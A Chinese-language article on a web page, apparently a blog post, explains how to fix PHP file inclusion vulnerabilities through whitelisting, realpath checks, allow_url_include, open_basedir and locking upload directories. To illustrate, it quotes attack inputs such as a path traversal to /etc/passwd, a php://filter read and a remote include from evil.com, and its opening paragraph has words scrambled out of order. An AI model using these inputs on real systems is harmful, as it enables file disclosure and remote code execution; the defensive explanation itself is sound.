综合

文件包含漏洞有哪些修复方式

时间:2010-12-5 17:23:32  作者:娱乐   来源:综合  查看:  评论:0
内容摘要:```html 文件包含漏洞有哪些修复方式 body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto

```html 文件包含漏洞有哪些修复方式

文件包含漏洞有哪些修复方式

去年帮一个朋友看代码,一个很小的包含 PHP 项目,功能简单到只有几个页面。漏洞但我在 index.php 里看到这么一行:include $_GET['page'] . '.php';。有修当时就问他,复方这玩意儿线上跑着?文件他说是啊,方便,包含加个新页面不用改路由。漏洞我让他立刻停掉,有修因为这种写法等于把服务器文件系统的复方大门直接敞开——攻击者传个 ?page=../../../../etc/passwd%00,或者更狠一点,文件用 php://filter 读源码,包含甚至配合文件上传 getshell。漏洞他听完脸都白了。有修

文件包含漏洞的复方修复,核心就一句话:别让用户输入直接决定包含哪个文件。但具体怎么做,有几种不同层次的手段,效果和适用场景也不一样。

最直接也最彻底的办法,是白名单映射。别用 include $_GET['page'],而是定义一个数组,把允许包含的页面写死。比如 $pages = ['home' => 'home.php', 'about' => 'about.php'];,然后 if (isset($pages[$_GET['page']])) { include $pages[$_GET['page']]; }。用户传什么参数都只能落到你预设的这几个文件上。这招笨,但几乎无懈可击。我见过一些 CMS 至今还在用动态包含,改起来其实也就半小时的事,纯粹是懒。

如果业务上确实需要动态性,比如模板引擎或者插件系统,那路径拼接前必须做严格过滤。常见做法是过滤掉 ../、..\、%00、php://、file:// 这些危险字符和协议。但要注意,过滤 ../ 不能只做一次替换,因为 ....// 这种嵌套写法可能绕过。更稳的方式是用 basename() 只取文件名部分,或者 realpath() 把路径规范化后,再检查它是否落在你指定的目录里。比如:

$base = '/var/www/includes/'; $file = realpath($base . $_GET['page'] . '.php'); if ($file && strpos($file, $base) === 0) {  include $file; }

这里有个细节:realpath() 返回 false 的情况要处理,否则可能引发意外。另外 strpos 判断前缀时,如果 $base 本身没有尾部斜杠,/var/www/includes_evil/ 也可能通过,所以建议 $base 末尾带 /。

个人观察:很多漏洞修复失败,不是因为技术难,而是因为开发者觉得“我过滤了 ../ 就安全了”。实际上,PHP 的流包装器、编码技巧、甚至 Windows 下的短文件名都能绕过粗糙的过滤。白名单之所以推荐,就是因为它不依赖你想到所有攻击向量。

再往上走一层,关闭危险配置是必须的。PHP 的 allow_url_include 默认是 Off,但有些老项目为了图方便会打开。一旦打开,?page=http://evil.com/shell.txt 就直接远程包含了。这个选项在 PHP 5.2 之后默认关闭,但如果你接手的是遗留系统,先去 php.ini 里确认它是不是 Off。同时 open_basedir 也建议设上,把 PHP 能访问的文件限制在项目目录内,这样即使包含逻辑有漏洞,也读不到 /etc/passwd。

还有一点容易被忽略:文件上传目录的权限。文件包含经常和文件上传组合利用——攻击者上传一个图片马,然后通过包含漏洞执行它。所以上传目录应该禁止 PHP 解析。Nginx 里加一条 location ~* /uploads/.*\.php$ { deny all; },Apache 用 .htaccess 把 php_flag engine off 写进去。这样即使包含到了上传的文件,也执行不了。

“我修了包含漏洞,但忘了上传目录还能解析 PHP,结果还是被打穿了。”——某次应急响应中运维的原话。

最后说个实际修复时的坑:别在过滤逻辑里用 str_replace 做递归替换。有人写 $page = str_replace('../', '', $_GET['page']);,攻击者传 ..././,替换一次后变成 ../,还是能穿越。正确做法是循环替换直到不再变化,或者直接用白名单。我倾向后者,代码可读性也好。

总结下来,修复文件包含漏洞没有银弹,但优先级很清晰:能白名单就白名单;不能白名单就 realpath + 目录前缀校验;同时关掉 allow_url_include、设好 open_basedir、锁死上传目录的解析权限。这几层叠上去,基本就稳了。剩下的,就是别偷懒。

```
最近更新
热门排行
copyright © 2026 powered by 烟消火灭网   sitemap